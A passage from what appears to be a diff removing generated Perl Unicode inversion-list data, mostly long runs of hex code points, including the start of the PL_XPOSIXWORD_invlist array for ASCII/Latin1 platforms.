0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1FB8, - 0x1FBC, - 0x1FC8, - 0x1FCC, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFC, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, - 0x1E900, - 0x1E922, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXWORD_invlist[] = { /* for ASCII/Latin1 */ - 1387, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x200C, - 0x200E, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 